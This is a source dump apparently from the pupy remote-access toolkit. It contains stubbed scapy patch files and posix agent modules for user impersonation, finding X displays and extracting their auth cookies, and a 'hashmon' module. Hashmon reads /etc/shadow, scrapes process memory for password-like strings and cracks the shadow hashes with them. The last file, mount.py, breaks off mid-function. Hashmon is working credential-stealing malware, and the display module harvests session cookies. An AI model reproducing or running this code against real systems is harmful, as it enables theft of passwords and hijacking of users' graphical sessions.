from scapy.compat import raw


================================================
FILE: pupy/packages/patches/all/scapy/asn1/.ignore
================================================


================================================
FILE: pupy/packages/patches/all/scapy/compat.py
================================================
## This file is part of Scapy
## See http://www.secdev.org/projects/scapy for more informations
## Copyright (C) Philippe Biondi <phil@secdev.org>
## Copyright (C) Gabriel Potter <gabriel@potter.fr>
## This program is published under a GPLv2 license

## PATCHED

"""
Python 2 and 3 link classes.
"""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import base64
import binascii

def cmp_to_key(mycmp):
    # TODO remove me once all 'key=cmp_to_key(..)' has been fixed in utils6.py, automaton.py
    """Convert a cmp= function into a key= function.
    To use with sort()

    e.g: def stg_cmp(a, b):
            return a == b
    list.sort(key=cmp_to_key(stg_cmp))
    """
    class K(object):
        def __init__(self, obj, *args):
            self.obj = obj
        def __lt__(self, other):
            return mycmp(self.obj, other.obj) < 0
        def __gt__(self, other):
            return mycmp(self.obj, other.obj) > 0
        def __eq__(self, other):
            return mycmp(self.obj, other.obj) == 0
        def __le__(self, other):
            return mycmp(self.obj, other.obj) <= 0
        def __ge__(self, other):
            return mycmp(self.obj, other.obj) >= 0
        def __ne__(self, other):
            return mycmp(self.obj, other.obj) != 0
    return K

def cmp(a, b):
    """Old Python 2 function"""
    return (a > b) - (a < b)


def orb(x):
    """Return ord(x) when necessary."""
    if isinstance(x, basestring):
        return ord(x)
    return x

def raw(x):
    """Convert a str, a packet to bytes"""
    if x is None:
        return None
    if hasattr(x, "__bytes__"):
        return x.__bytes__()
    try:
        return chr(x)
    except (ValueError, TypeError):
        return str(x)

def plain_str(x):
    """Convert basic byte objects to str"""
    return x if isinstance(x, basestring) else str(x)

def chb(x):
    """Same than chr() but encode as bytes.

    """
    if isinstance(x, bytes):
        return x
    else:
        if hasattr(x, "__int__") and not isinstance(x, int):
            return bytes(chr(int(x)))
        return bytes(chr(x))

def bytes_hex(x):
    """Hexify a str or a bytes object"""
    return binascii.b2a_hex(raw(x))

def hex_bytes(x):
    """De-hexify a str or a byte object"""
    return binascii.a2b_hex(raw(x))

def base64_bytes(x):
    """Turn base64 into bytes"""
    return base64.decodestring(x)

def bytes_base64(x):
    """Turn bytes into base64"""
    return base64.encodestring(x).replace('\n', '')


================================================
FILE: pupy/packages/patches/all/scapy/config.py
================================================
## This file is part of Scapy
## See http://www.secdev.org/projects/scapy for more informations
## Copyright (C) Philippe Biondi <phil@secdev.org>
## This program is published under a GPLv2 license

## PATCHED

"""
Implementation of the configuration object.
"""

from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
from __future__ import unicode_literals

import os,time,socket,sys

from scapy import VERSION
from scapy.data import *
from scapy import base_classes
from scapy.themes import NoTheme
from scapy.error import log_scapy

############
## Config ##
############

class ConfClass(object):
    def configure(self, cnf):
        self.__dict__ = cnf.__dict__.copy()
    def __repr__(self):
        return str(self)
    def __str__(self):
        s = ""
        keys = self.__class__.__dict__.copy()
        keys.update(self.__dict__)
        keys = sorted(keys)
        for i in keys:
            if i[0] != "_":
                r = repr(getattr(self, i))
                r = " ".join(r.split())
                wlen = 76-max(len(i),10)
                if len(r) > wlen:
                    r = r[:wlen-3]+"..."
                s += "%-10s = %s\n" % (i, r)
        return s[:-1]

class ProgPath(ConfClass):
    pdfreader = "acroread"
    psreader = "gv"
    dot = "dot"
    display = "display"
    tcpdump = "tcpdump"
    tcpreplay = "tcpreplay"
    hexedit = "hexer"
    tshark = "tshark"
    wireshark = "wireshark"
    ifconfig = "ifconfig"
    powershell = None

class Interceptor(object):
    def __init__(self, name, default, hook, args=None, kargs=None):
        self.name = name
        self.intname = "_intercepted_%s" % name
        self.default=default
        self.hook = hook
        self.args = args if args is not None else []
        self.kargs = kargs if kargs is not None else {}
    def __get__(self, obj, typ=None):
        if not hasattr(obj, self.intname):
            setattr(obj, self.intname, self.default)
        return getattr(obj, self.intname)
    def __set__(self, obj, val):
        setattr(obj, self.intname, val)
        self.hook(self.name, val, *self.args, **self.kargs)

class ConfigFieldList:
    def __init__(self):
        self.fields = set()
        self.layers = set()
    @staticmethod
    def _is_field(f):
        return hasattr(f, "owners")
    def _recalc_layer_list(self):
        self.layers = {owner for f in self.fields for owner in f.owners}
    def add(self, *flds):
        self.fields |= {f for f in flds if self._is_field(f)}
        self._recalc_layer_list()
    def remove(self, *flds):
        self.fields -= set(flds)
        self._recalc_layer_list()
    def __contains__(self, elt):
        if isinstance(elt, base_classes.Packet_metaclass):
            return elt in self.layers
        return elt in self.fields
    def __repr__(self):
        return "<%s [%s]>" %  (self.__class__.__name__," ".join(str(x) for x in self.fields))

class Emphasize(ConfigFieldList):
    pass

class Resolve(ConfigFieldList):
    pass


class Num2Layer:
    def __init__(self):
        self.num2layer = {}
        self.layer2num = {}

    def register(self, num, layer):
        self.register_num2layer(num, layer)
        self.register_layer2num(num, layer)

    def register_num2layer(self, num, layer):
        self.num2layer[num] = layer
    def register_layer2num(self, num, layer):
        self.layer2num[layer] = num

    def __getitem__(self, item):
        if isinstance(item, base_classes.Packet_metaclass):
            return self.layer2num[item]
        return self.num2layer[item]
    def __contains__(self, item):
        if isinstance(item, base_classes.Packet_metaclass):
            return item in self.layer2num
        return item in self.num2layer
    def get(self, item, default=None):
        if item in self:
            return self[item]
        return default


class LayersList(list):
    def __repr__(self):
        s=[]
        for l in self:
            s.append("%-20s: %s" % (l.__name__,l.name))
        return "\n".join(s)
    def register(self, layer):
        self.append(layer)

class CommandsList(list):
    def __repr__(self):
        s=[]
        for l in sorted(self,key=lambda x:x.__name__):
            if l.__doc__:
                doc = l.__doc__.split("\n")[0]
            else:
                doc = "--"
            s.append("%-20s: %s" % (l.__name__,doc))
        return "\n".join(s)
    def register(self, cmd):
        self.append(cmd)
        return cmd # return cmd so that method can be used as a decorator

def lsc():
    print(repr(conf.commands))

class LogLevel(object):
    def __get__(self, obj, otype):
        return obj._logLevel
    def __set__(self,obj,val):
        log_scapy.setLevel(val)
        obj._logLevel = val

def isPyPy():
    """Returns either scapy is running under PyPy or not"""
    return False

def _prompt_changer(attr, val):
    """Change the current prompt theme"""
    try:
        sys.ps1 = conf.color_theme.prompt(conf.prompt)
    except:
        pass

class Conf(ConfClass):
    """This object contains the configuration of Scapy.
session  : filename where the session will be saved
interactive_shell : can be "ipython", "python" or "auto". Default: Auto
stealth  : if 1, prevents any unwanted packet to go out (ARP, DNS, ...)
checkIPID: if 0, doesn't check that IPID matches between IP sent and ICMP IP citation received
           if 1, checks that they either are equal or byte swapped equals (bug in some IP stacks)
           if 2, strictly checks that they are equals
checkIPsrc: if 1, checks IP src in IP and ICMP IP citation match (bug in some NAT stacks)
checkIPinIP: if True, checks that IP-in-IP layers match. If False, do not
             check IP layers that encapsulates another IP layer
check_TCPerror_seqack: if 1, also check that TCP seq and ack match the ones in ICMP citation
iff      : selects the default output interface for srp() and sendp(). default:"eth0")
verb     : level of verbosity, from 0 (almost mute) to 3 (verbose)
promisc  : default mode for listening socket (to get answers if you spoof on a lan)
sniff_promisc : default mode for sniff()
filter   : bpf filter added to every sniffing socket to exclude traffic from analysis
histfile : history file
padding  : includes padding in disassembled packets
except_filter : BPF filter for packets to ignore
debug_match : when 1, store received packet that are not matched into debug.recv
route    : holds the Scapy routing table and provides methods to manipulate it
warning_threshold : how much time between warnings from the same place
ASN1_default_codec: Codec used by default for ASN1 objects
mib      : holds MIB direct access dictionary
resolve  : holds list of fields for which resolution should be done
noenum   : holds list of enum fields for which conversion to string should NOT be done
AS_resolver: choose the AS resolver class to use
extensions_paths: path or list of paths where extensions are to be looked for
contribs : a dict which can be used by contrib layers to store local configuration
debug_tls:When 1, print some TLS session secrets when they are computed.
"""
    version = VERSION
    session = ""
    interactive = False
    interactive_shell = ""
    stealth = "not implemented"
    iface = None
    iface6 = None
    layers = LayersList()
    commands = CommandsList()
    logLevel = LogLevel()
    checkIPID = 0
    checkIPsrc = 1
    checkIPaddr = 1
    checkIPinIP = True
    check_TCPerror_seqack = 0
    verb = 2
    prompt = Interceptor("prompt", ">>> ", _prompt_changer)
    promisc = 1
    sniff_promisc = 1
    raw_layer = None
    raw_summary = False
    default_l2 = None
    l2types = Num2Layer()
    l3types = Num2Layer()
    L3socket = None
    L2socket = None
    L2listen = None
    BTsocket = None
    min_pkt_size = 60
    histfile = '/dev/null'
    padding = 1
    except_filter = ""
    debug_match = 0
    debug_tls = 0
    wepkey = ""
    cache_iflist = {}
    cache_ipaddrs = {}
    route = None # Filed by route.py
    route6 = None # Filed by route6.py
    auto_fragment = 1
    debug_dissector = 0
    color_theme = Interceptor("color_theme", NoTheme(), _prompt_changer)
    warning_threshold = 5
    prog = ProgPath()
    resolve = Resolve()
    noenum = Resolve()
    emph = Emphasize()
    use_pypy = isPyPy()
    use_pcap = False
    use_dnet = False
    use_bpf = False
    use_winpcapy = False
    use_npcap = False
    ipv6_enabled = socket.has_ipv6
    ethertypes = ETHER_TYPES
    protocols = IP_PROTOS
    services_tcp = TCP_SERVICES
    services_udp = UDP_SERVICES
    extensions_paths = "."
    manufdb = MANUFDB
    stats_classic_protocols = []
    stats_dot11_protocols = []
    temp_files = []
    netcache = None
    geoip_city = None
    load_layers = []
    contribs = dict()
    crypto_valid = False
    crypto_valid_advanced = False
    fancy_prompt = True
    auto_crop_tables = True

conf = Conf()
conf.logLevel = 30 # 30=Warning

def crypto_validator(func):
    """
    This a decorator to be used for any method relying on the cryptography library.
    Its behaviour depends on the 'crypto_valid' attribute of the global 'conf'.
    """
    def func_in(*args, **kwargs):
        if not conf.crypto_valid:
            raise ImportError("Cannot execute crypto-related method! "
                              "Please install python-cryptography v1.7 or later.")
        return func(*args, **kwargs)

    return func_in


================================================
FILE: pupy/packages/patches/all/scapy/contrib/.ignore
================================================


================================================
FILE: pupy/packages/patches/all/scapy/data.py
================================================
## This file is part of Scapy
## See http://www.secdev.org/projects/scapy for more informations
## Copyright (C) Philippe Biondi <phil@secdev.org>
## This program is published under a GPLv2 license

## PATCHED

"""
Global variables and functions for handling external data sets.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals


import os
import re
import sys
import time

from scapy.consts import DARWIN, FREEBSD, NETBSD, OPENBSD, WINDOWS
from scapy.error import log_loading


############
## Consts ##
############

ETHER_ANY = b"\x00"*6
ETHER_BROADCAST = b"\xff"*6

ETH_P_ALL = 3
ETH_P_IP = 0x800
ETH_P_ARP = 0x806
ETH_P_IPV6 = 0x86dd
ETH_P_MACSEC = 0x88e5

# From net/if_arp.h
ARPHDR_ETHER = 1
ARPHDR_METRICOM = 23
ARPHDR_PPP = 512
ARPHDR_LOOPBACK = 772
ARPHDR_TUN = 65534

# From pcap/dlt.h
DLT_NULL = 0
DLT_EN10MB = 1
DLT_EN3MB = 2
DLT_AX25 = 3
DLT_PRONET = 4
DLT_CHAOS = 5
DLT_IEEE802 = 6
DLT_ARCNET = 7
DLT_SLIP = 8
DLT_PPP = 9
DLT_FDDI = 10
if OPENBSD:
    DLT_RAW = 14
else:
    DLT_RAW = 12
DLT_RAW_ALT = 101  # At least in Argus
if FREEBSD or NETBSD:
    DLT_SLIP_BSDOS = 13
    DLT_PPP_BSDOS = 14
else:
    DLT_SLIP_BSDOS = 15
    DLT_PPP_BSDOS = 16
if FREEBSD:
    DLT_PFSYNC = 121
else:
    DLT_PFSYNC = 18
    DLT_HHDLC = 121
DLT_ATM_CLIP = 19
DLT_PPP_SERIAL = 50
DLT_PPP_ETHER = 51
DLT_SYMANTEC_FIREWALL = 99
DLT_C_HDLC = 104
DLT_IEEE802_11 = 105
if OPENBSD:
    DLT_LOOP = 12
    DLT_ENC = 13
else:
    DLT_LOOP = 108
    DLT_ENC = 109
DLT_LINUX_SLL = 113
DLT_PFLOG = 117
DLT_PRISM_HEADER = 119
DLT_AIRONET_HEADER = 120
DLT_IEEE802_11_RADIO = 127
DLT_LINUX_IRDA  = 144
DLT_IEEE802_11_RADIO_AVS = 163
DLT_BLUETOOTH_HCI_H4 = 187
DLT_PPI   = 192
DLT_CAN_SOCKETCAN = 227
DLT_IPV4 = 228
DLT_IPV6 = 229

# From net/ipv6.h on Linux (+ Additions)
IPV6_ADDR_UNICAST     = 0x01
IPV6_ADDR_MULTICAST   = 0x02
IPV6_ADDR_CAST_MASK   = 0x0F
IPV6_ADDR_LOOPBACK    = 0x10
IPV6_ADDR_GLOBAL      = 0x00
IPV6_ADDR_LINKLOCAL   = 0x20
IPV6_ADDR_SITELOCAL   = 0x40     # deprecated since Sept. 2004 by RFC 3879
IPV6_ADDR_SCOPE_MASK  = 0xF0
#IPV6_ADDR_COMPATv4   = 0x80     # deprecated; i.e. ::/96
#IPV6_ADDR_MAPPED     = 0x1000   # i.e.; ::ffff:0.0.0.0/96
IPV6_ADDR_6TO4        = 0x0100   # Added to have more specific info (should be 0x0101 ?)
IPV6_ADDR_UNSPECIFIED = 0x10000

# On windows, epoch is 01/02/1970 at 00:00
EPOCH = time.mktime((1970, 1, 2, 0, 0, 0, 3, 1, 0))-86400

MTU = 0xffff # a.k.a give me all you have

#####################
## knowledge bases ##
#####################

class KnowledgeBase:
    def __init__(self, filename):
        self.filename = filename
        self.base = None

    def lazy_init(self):
        self.base = ""

    def reload(self, filename = None):
        if filename is not None:
            self.filename = filename
        oldbase = self.base
        self.base = None
        self.lazy_init()
        if self.base is None:
            self.base = oldbase

    def get_base(self):
        if self.base is None:
            self.lazy_init()
        return self.base

### EMPTY ###

def load_manuf(*args, **kwargs):
    return None

ETHER_TYPES = None
IP_PROTOS = None
TCP_SERVICES = None
UDP_SERVICES = None
MANUFDB = None


================================================
FILE: pupy/packages/patches/all/scapy/error.py
================================================
## This file is part of Scapy
## See http://www.secdev.org/projects/scapy for more informations
## Copyright (C) Philippe Biondi <phil@secdev.org>
## This program is published under a GPLv2 license

## PATCHED

"""
Logging subsystem and basic exception class.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

#############################
##### Logging subsystem #####
#############################

class Scapy_Exception(Exception):
    pass

import logging
from logging import NullHandler

log_scapy = logging.getLogger("scapy")
log_scapy.addHandler(NullHandler())

log_runtime = logging.getLogger("scapy.runtime")          # logs at runtime
log_runtime.addFilter(NullHandler())

log_interactive = logging.getLogger("scapy.interactive")  # logs in interactive functions
log_loading = logging.getLogger("scapy.loading")          # logs when loading Scapy

def warning(*args, **kwargs):
    # Do nothing
    pass


================================================
FILE: pupy/packages/patches/all/scapy/extlib.py
================================================
## This file is part of Scapy
## See http://www.secdev.org/projects/scapy for more informations
## Copyright (C) Philippe Biondi <phil@secdev.org>
## This program is published under a GPLv2 license

## PATCHED

"""
External link to programs
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

plt = None

MATPLOTLIB = 0
MATPLOTLIB_INLINED = 0
MATPLOTLIB_DEFAULT_PLOT_KARGS = dict()
PYX = 0


================================================
FILE: pupy/packages/patches/all/scapy/layers/.ignore
================================================


================================================
FILE: pupy/packages/patches/all/scapy/main.py
================================================
# EMPTY FILE


================================================
FILE: pupy/packages/patches/all/scapy/modules/.ignore
================================================


================================================
FILE: pupy/packages/patches/all/scapy/modules/__init__.py.include
================================================


================================================
FILE: pupy/packages/patches/all/scapy/modules/six.py.include
================================================


================================================
FILE: pupy/packages/patches/all/scapy/modules/winpcapy.py.include
================================================


================================================
FILE: pupy/packages/patches/all/scapy/tools/.ignore
================================================


================================================
FILE: pupy/packages/posix/all/become.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import pwd
import os
import sys
import subprocess

if sys.version_info.major > 2:
    getcwd = os.getcwd
else:
    getcwd = os.getcwdu

if not hasattr(sys, '_BECOME_INITIALIZED'):
    sys._SAVED_UID = os.getuid()
    sys._SAVED_GID = os.getgid()
    sys._SAVED_GROUPS = os.getgroups()
    sys._SAVED_CWD = getcwd()
    sys._SAVED_ENV = os.environ.copy()
    sys._BECOME_INITIALIZED = True


def become(user):
    try:
        userinfo = pwd.getpwuid(int(user))
    except:
        try:
            userinfo = pwd.getpwnam(user)
        except:
            raise ValueError('User {} not found'.format(user))

    if os.geteuid() == userinfo.pw_uid:
        return

    sys._SAVED_UID = os.geteuid()
    sys._SAVED_GID = os.getegid()
    sys._SAVED_GROUPS = os.getgroups()
    sys._SAVED_CWD = getcwd()
    sys._SAVED_ENV = os.environ.copy()

    os.initgroups(userinfo.pw_name, userinfo.pw_gid)
    os.setegid(userinfo.pw_gid)
    os.seteuid(userinfo.pw_uid)

    os.environ['HOME'] = userinfo.pw_dir
    os.environ['USER'] = userinfo.pw_name
    os.environ['LOGNAME'] = userinfo.pw_name
    os.environ['SHELL'] = userinfo.pw_shell
    os.environ['XAUTHORITY'] = os.path.join(
        userinfo.pw_dir, '.Xauthority'
    )

    user_dbus_socket = os.path.join(
        '/', 'var', 'run', 'user', str(userinfo.pw_uid), 'dbus', 'user_bus_socket'
    )

    if os.path.exists(user_dbus_socket):
        os.environ['DBUS_SESSION_BUS_ADDRESS'] = 'unix:path='+user_dbus_socket
    elif 'DBUS_SESSION_BUS_ADDRESS' in os.environ:
        del os.environ['DBUS_SESSION_BUS_ADDRESS']

    for var in list(os.environ):
        if var.startswith(('XDG_', 'GDM', 'DESKTOP_')):
            del os.environ[var]

    if 'PATH' in os.environ:
        os.environ['PATH'] += ':'.join([
            os.path.join(userinfo.pw_dir, '.local', 'bin'),
            os.path.join(userinfo.pw_dir, 'bin')
        ])

    try:
        os.chdir(userinfo.pw_dir)
    except:
        pass

    try:
        for line in subprocess.check_output([
            userinfo.pw_shell, '-c', '; '.join([
                '[ -f /etc/profile ] && source /etc/profile >/dev/null 2>/dev/null',
                '[ -f ~/.profile ] && source ~/.profile >/dev/null 2>/dev/null',
                'printenv'
            ])
        ]).split('\n'):
            if line and '=' in line:
                k, v = line.split('=', 1)
                os.environ[k] = v
    except:
        pass

def restore():
    if os.getegid() == sys._SAVED_UID:
        return

    os.seteuid(sys._SAVED_UID)
    os.setegid(sys._SAVED_GID)
    os.setgroups(sys._SAVED_GROUPS)
    os.chdir(sys._SAVED_CWD)
    os.environ = sys._SAVED_ENV


================================================
FILE: pupy/packages/posix/all/display.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import os
import psutil
import ctypes
import pupyps
import pwd
import socket

from ctypes.util import find_library

xlibs_available = None
x11 = None
xau = None

def load_display_libs():
    global xlibs_available
    global x11, xau

    if xlibs_available is not None:
        return

    try:
        x11 = ctypes.cdll.LoadLibrary(find_library('X11'))
        x11.XOpenDisplay.restype = ctypes.c_void_p
        x11.XOpenDisplay.argtypes = [ctypes.c_char_p]
        x11.XCloseDisplay.argtypes = [ctypes.c_void_p]
    except:
        x11 = None
        pass

    try:
        xau = ctypes.cdll.LoadLibrary(find_library('Xau'))
        xau.XauGetAuthByAddr.restype = ctypes.POINTER(XAuth)
        xau.XauGetAuthByAddr.argtypes = [
            ctypes.c_ushort,
            ctypes.c_ushort, ctypes.c_char_p,
            ctypes.c_ushort, ctypes.c_char_p,
            ctypes.c_ushort, ctypes.c_char_p
       ]
        xau.XauDisposeAuth.argtypes = [ctypes.POINTER(XAuth)]
    except:
        xau = None
        pass

    xlibs_available = x11 and xau

class XAuth(ctypes.Structure):
    _fields_ = [
        ('family',         ctypes.c_ushort),
        ('address_length', ctypes.c_ushort),
        ('address',        ctypes.c_char_p),
        ('number_length',  ctypes.c_ushort),
        ('number',         ctypes.c_char_p),
        ('name_length',    ctypes.c_ushort),
        ('name',           ctypes.c_char_p),
        ('data_length',    ctypes.c_ushort),
        ('data',           ctypes.c_char_p)
   ]

Families = {
    0: 'tcp',
    6: 'tcp6',
    256: 'unix',
}

def check_display(name, authority):
    global x11

    load_display_libs()

    if not x11 or not name or not authority:
        return False

    try:
        open(authority).close()
    except:
        return False

    XAUTHORITY_OLD = os.environ.get('XAUTHORITY')
    DISPLAY_OLD = os.environ.get('DISPLAY')

    os.environ['XAUTHORITY'] = authority
    os.environ['DISPLAY'] = name

    display = x11.XOpenDisplay(name)
    result = bool(display)
    if display:
        x11.XCloseDisplay(display)

    if XAUTHORITY_OLD:
        os.environ['XAUTHORITY'] = XAUTHORITY_OLD
    else:
        del os.environ['XAUTHORITY']

    if DISPLAY_OLD:
        os.environ['DISPLAY'] = DISPLAY_OLD
    else:
        del os.environ['DISPLAY']

    return result

def guess_displays():
    displays = {}
    userinfos = {}

    load_display_libs()

    for process in psutil.process_iter():
        try:
            info = process.as_dict(['username', 'environ'])
        except:
            continue

        if info['username'] and info['environ']:
            if 'DISPLAY' not in info['environ']:
                continue

            try:
                if not info['username'] in userinfos:
                    userinfos[info['username']] = pwd.getpwnam(info['username'])
            except:
                continue

            DISPLAY = info['environ'].get('DISPLAY')
            XAUTHORITY = info['environ'].get('XAUTHORITY')

            if DISPLAY not in displays:
                displays[DISPLAY] = set()

            if not XAUTHORITY:
                XAUTHORITY = os.path.join(
                    userinfos[info['username']].pw_dir, '.Xauthority'
               )

            pair = (info['username'], XAUTHORITY)
            if pair not in displays[DISPLAY] and check_display(DISPLAY, XAUTHORITY):
                displays[DISPLAY].add(pair)

    for user, hosts in pupyps.users().items():
        for host, terminals in hosts.items():
            for terminal in terminals:
                try:
                    executable = os.path.basename(
                        os.path.realpath(terminal['exe'])
                   )

                    if executable not in ('X', 'Xorg'):
                        continue

                    DISPLAY = None
                    XAuthority = None
                    NextIsXAuthority = False

                    for arg in terminal['cmdline']:
                        if arg.startswith(':'):
                            DISPLAY = arg
                        elif arg == '-auth':
                            NextIsXAuthority = True
                        elif NextIsXAuthority:
                            XAuthority = arg
                            NextIsXAuthority = False

                    if not DISPLAY:
                        continue

                    pair = (user, XAuthority)
                    if DISPLAY not in displays:
                        displays[DISPLAY] = set()

                    if pair not in displays[DISPLAY] and check_display(DISPLAY, XAuthority):
                        displays[DISPLAY].add(pair)

                except:
                    pass

    return {
        k:list(v) for k,v in displays.items()
    }

def attach_to_display(name, xauth=None):
    load_display_libs()

    if not xauth:
        displays = guess_displays()
        if name not in displays:
            return False

        for user, xauth in displays[name]:
            os.environ['DISPLAY'] = name
            os.environ['XAUTHORITY'] = xauth
            return True
    else:
        if check_display(name, xauth):
            os.environ['DISPLAY'] = name
            os.environ['XAUTHORITY'] = xauth
            return True

    return False

def extract_xauth_info(name, authtype='MIT-MAGIC-COOKIE-1'):

    load_display_libs()

    global xau, Families
    if not xau or not name:
        return None

    hostname = socket.gethostname()

    if not hostname or not name.startswith(':'):
        return None

    name = name[1:]

    xauth = xau.XauGetAuthByAddr(
        256,
        len(hostname), hostname,
        len(name), name,
        len(authtype), authtype
    )

    if not xauth:
        return None

    result = (
        Families[xauth.contents.family],
        xauth.contents.address[:xauth.contents.address_length],
        xauth.contents.number[:xauth.contents.number_length],
        xauth.contents.name[:xauth.contents.name_length],
        xauth.contents.data[:xauth.contents.data_length].encode('hex')
    )

    xau.XauDisposeAuth(xauth)

    return result

def when_attached(callback, name=':0', poll=10):
    import threading
    import time

    load_display_libs()

    def _waiter():
        while not attach_to_display(name):
            time.sleep(poll)

        callback()

    waiter = threading.Thread(target=_waiter)
    waiter.daemon = True
    waiter.start()


================================================
FILE: pupy/packages/posix/all/hashmon.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import memorpy

from spwd import getspall

import sys
import time
import re
import psutil
import pupy.agent
import crypt

if sys.version_info.major > 2:
    basestring = str


def start(names, hashes=[], poll=20, minpw=8, maxpw=16, maxdups=131072, policy=True):
    if pupy.agent.manager.active(HashMon):
        return False

    try:
        pupy.agent.manager.create(
            HashMon,
            names, hashes=hashes, poll=poll, minpw=minpw,
            maxpw=maxpw, maxdups=maxdups, policy=policy
        )
    except:
        return False

    return True


def dump():
    mon = pupy.agent.manager.get(HashMon)
    if mon:
        return mon.results


def stop():
    mon = pupy.agent.manager.get(HashMon)
    if mon:
        pupy.agent.manager.stop(HashMon)
        return mon.results


class HashMon(pupy.Task):
    def __init__(self, manager, names=[], hashes=[], poll=60, minpw=8, maxpw=16, maxdups=131072, policy=True):
        super(HashMon, self).__init__(manager)
        self.pids = {}
        self.hashes = set(hashes)
        self.found = set()
        self.autoupdate = not hashes
        self.names = [
            re.compile(x) for x in set(names)
        ]
        self.printable = re.compile('^[\x20-\x7e]{{{},{}}}$'.format(minpw, maxpw))
        self.duplicates = set()
        self.maxdups = maxdups
        self.policy = policy
        self.last_pids = frozenset()

        if self.policy is not None:
            if isinstance(self.policy, basestring):
                self.policy = re.compile(self.policy)
            elif self.policy is True:
                # Default - 1 digit, alpha, symbol, 8-16 symbols
                self.policy = re.compile(
                    r"^(?=.*\d)(?=.*[a-zA-Z])(?=.*[&^*!@#$%])[0-9a-zA-Z!@#$%*^&]{{{},{}}}$".format(
                        minpw, maxpw))
        self.poll = poll

    def update_hashes(self):
        if not self.autoupdate:
            return

        hashes = [
            x.sp_pwd for x in getspall() if not x.sp_pwd.startswith(('!', '*'))
        ]

        for h in hashes:
            if h not in self.found:
                self.hashes.add(h)
                for string in self.duplicates:
                    ctext, hash = self.check_hash(h, string)
                    if ctext:
                        self.append((ctext, hash))
                        self.hashes.remove(h)

    def get_pid_strings(self, pid):
        try:
            mw = memorpy.MemWorker(pid=pid)
            matcher = self.policy or self.printable
            for _, (cstring,) in mw.mem_search('([\x20-\x7e]+)\x00', ftype='groups', optimizations='ixrs'):
                if matcher.match(cstring):
                    if cstring not in self.duplicates:
                        yield cstring

                        if len(self.duplicates) > self.maxdups:
                            self.duplicates = set()

                        self.duplicates.add(cstring)
        except:
            pass

    def get_new_pids(self):
        if not self.need_poll():
            return

        for process in psutil.process_iter():
            info = process.as_dict(['create_time', 'pid', 'name', 'exe'])
            pid = info['pid']
            if pid not in self.pids or self.pids[pid] == info['create_time']:
                for name in self.names:
                    if name.match(info['name']) or name.match(info['exe']):
                        yield pid
                        self.pids[pid] = info['create_time']

    def get_new_strings(self):
        for pid in self.get_new_pids():
            for string in self.get_pid_strings(pid):
                yield string

    def check_hash(self, hash, string):
        if hash.startswith('$'):
            salt = hash.rsplit('$', 1)[0]
        else:
            salt = hash[:2]

        if crypt.crypt(string, salt) == hash:
            return string, hash
        else:
            return None, None

    def check_hashes(self, string):
        for hash in self.hashes.copy():
            ctext, hash = self.check_hash(hash, string)
            if ctext is not None:
                yield ctext, hash
                self.found.add(hash)
                self.hashes.remove(hash)

    def get_new_passwords(self):
        for string in self.get_new_strings():
            for pair in self.check_hashes(string):
                yield pair

    def need_poll(self):
        current_pids = frozenset(psutil.pids())
        if current_pids == self.last_pids:
            return False
        else:
            self.last_pids = current_pids
            return True

    def task(self):
        while self.active:
            if self.autoupdate:
                self.update_hashes()

            if self.hashes:
                for string, hash in self.get_new_passwords():
                    self.append((string, hash))

            time.sleep(self.poll)


================================================
FILE: pupy/packages/posix/all/mount.py
================================================
# -*- coding: utf-8 -*-

from __future__ import division
from __future__ import absolute_import
from __future__ import print_function
from __future__ import unicode_literals

import os
from io import open

from pupy.network.lib.convcompat import as_unicode_string_deep


class MountInfo(object):
    def __init__(self, line):
        src, dst, fsname, options, _, _ = (
            option.replace(r'\040', ' ') for option in line.split(' ')
        )

        self.src = src
        self.dst = dst
        self.fsname = fsname
        self._options = [
            option.split('=') for option in options.split(',')
        ]

        try:
            vfsstat = os.statvfs(self.dst)
            self.free = vfsstat.f_bfree*vfsstat.f_frsize
            self.total = vfsstat.f_blocks*vfsstat.f_frsize
            self.files = vfsstat.f_files
            self.exception = None

            Kb = 1024
            Mb = 1024*Kb
            Gb = 1024*Mb
            Tb = 1024*Gb

            if self.total > 0:
                if self.free > Tb:
                    self.hfree = '{}Tb'.format(self.free // Tb)
                elif self.free > Gb:
                    self.hfree = '{}Gb'.format(self.free // Gb)
                elif self.free > Mb:
                    self.hfree = '{}Mb'.format(self.free // Mb)
                elif self.free > Kb:
                    self.hfree = '{}Kb'.format(self.free // Kb)
                else:
                    self.hfree = '{}b'.format(self.free)

                self.pused = 100 - int(self.free/self.total*100)

        except Exception as e:
            self.exception = str(e)
            self.total = None
            self.free = None
            self.files = None
            self.hfree = None
            self.pfree = None

        if self.fsname == 'tmpfs':
            self.fstype = 'tmpfs'
        elif self.fsname in ('smb', 'cifs', 'nfs', 'nfsv3', 'nfs4'):
            self.fstype = 'network'
        elif self.fsname.startswith('cgroup'):
            self.fstype = 'cgroup'
        elif self.src.startswith('/dev/mapper'):
            self.fstype = 'dm'
        elif fsname.startswith('fuse'):
            self.fstype = 'fuse'
        elif fsname.startswith('vboxsf'):
            self.fstype = 'vm'
        elif self.src == 'systemd-1' and self.fsname == 'autofs':
            self.fstype = 'automount'
        elif self.src == 'sunrpc':
            self.fstype = 'rpc'
        elif src == fsname or fsname in (
                'devtmpfs', 'sysfs', 'proc', 'devpts', 'securityfs',
                'pstore', 'mqueue', 'hugetlbfs', 'debugfs', 'binfmt_misc'
            ):
            self.fstype = 'kernel'
        else:
            self.fstype = 'block'

    @property
    def options(self):
        return [
            option for option in self._options if not any([
                option[0].startswith(value) for value in (
                    'relatime', 'fd', 'pgrp', 'timeout', 'minproto',
                    'maxproto', 'direct', 'pipe_ino', 'iocharset',
                    'codepage', 'lazytime', 'background_gc', 'inline_data',
                    'discard', 'flush_merge', 'extent_cache', 'mode',
                    'active_logs', 'commit', 'data', 'nr_inodes', 'size',
                    'shortnames', 'utf8', 'errors', 'cache', 'rsize',
                    'wsize', 'echo_interval', 'actime', 'blksize',
                    'serverino', 'posixpaths', 'mapposix'
                )
            ])
        ]

    def as_dict(self):
        result = {
